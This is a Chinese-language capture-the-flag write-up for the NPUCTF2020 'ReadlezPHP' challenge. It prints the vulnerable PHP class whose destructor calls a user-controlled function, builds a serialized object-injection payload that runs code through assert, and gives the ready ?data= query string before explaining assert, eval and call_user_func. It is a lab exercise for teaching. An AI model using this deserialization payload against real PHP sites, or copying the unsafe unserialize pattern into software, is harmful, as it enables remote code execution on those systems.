NPUCTF2020-ReadlezPHP

  1. NPUCTF2020-ReadlezPHP
    1. 知识点
    2. assert和eval

NPUCTF2020-ReadlezPHP

打开源代码发现一个./time.php?source,访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


2025-03-29 06:41:48

这题应该是要构造序列化来通过echo $b($a);拿flag

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

@$ppp = serialize($c);
echo $ppp;
?>

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

或者用call_user_func(phpinfo)

然后就能在phpinfo里找到payload了


知识点

assert和eval

PHP assert 和 eval不同

assert()可以将整个字符串参数当作php参数执行,
而类似的eval()函数是执行合法的php代码,eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外。

如:
这样是不行的。

1
2
3
<?php
echo eval(echo 1);
?>

这样就可以了。

1
2
3
4
<?php
echo eval("echo 1;");
?>
注意:assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

call_user_func把第一个参数当作回调函数使用。
回调函数:把一个函数当作作为外层函数的参数,相当于把函数嵌入到外层函数中。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github